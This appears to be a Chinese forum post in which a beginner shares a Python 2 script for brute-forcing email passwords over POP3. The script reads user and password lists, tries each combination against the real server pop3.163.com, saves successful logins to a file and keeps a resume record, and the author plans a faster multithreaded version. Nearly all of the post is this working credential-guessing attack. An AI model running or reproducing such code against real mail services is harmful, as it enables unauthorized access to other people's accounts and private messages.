用python写的暴力破解email的代码
刚学python没几天,为了练下手写了个暴力破解email的代码,不过是单线程的,速度不够快,失败恢复也不完整,
等把多线程看完了,再升级一下
import poplib
import string
def loadUserList(userDataFile):
userList = []
udf = open(userDataFile,'r')
for user in udf:
userList.extend(string.split(user))
print '用户列表\n'.decode('utf-8'),userList[:]
udf.close()
return userList
def loadPassList(passDataFile, pos = 0, count = 1):
passList=[]
pdf = open(passDataFile, 'r')
pdf.seek(pos)
currentCount=0
while (currentCount<count):
passLine = pdf.readline()
if (passLine):
passLines = string.split(passLine)
currentCount += len(passLines)
passList.extend(passLines)
else:
break;
currentPos=pdf.tell()
pdf.close()
return passList,currentPos
def checkUserPassword(userDataFile,passDataFile,resultDataFile,server):
userList=loadUserList(userDataFile)
resultFile = open(resultDataFile,'a')
recordFile = open('e:\\record.txt','a')
for user in userList:
currentPos=0
while(1):
recordFile.write('%d\n' % currentPos)
recordFile.flush()
passList,currentPos=loadPassList(passDataFile,currentPos,20)
if (passList):
try:
myPopClient = poplib.POP3(server)
print myPopClient.getwelcome()
myPopClient.user(user)
for pass_ in passList:
try:
myPopClient.pass_(pass_)
except poplib.error_proto:
print 'failed user:%s password:%s' % (user,pass_)
pass
else:
myPopClient.quit()
print 'success user:%s password:%s' % (user,pass_)
resultFile.write('%s %s\n'%(user,pass_))
break
else:
myPopClient.quit()
continue
break
except poplib.error_proto:
print "user can't"
myPopClient.quit()
break
else:
break
resultFile.close()
recordFile.close()
checkUserPassword('e:\\user.txt','e:\\pass.txt','e:\\result.txt','pop3.163.com')
页:
[1]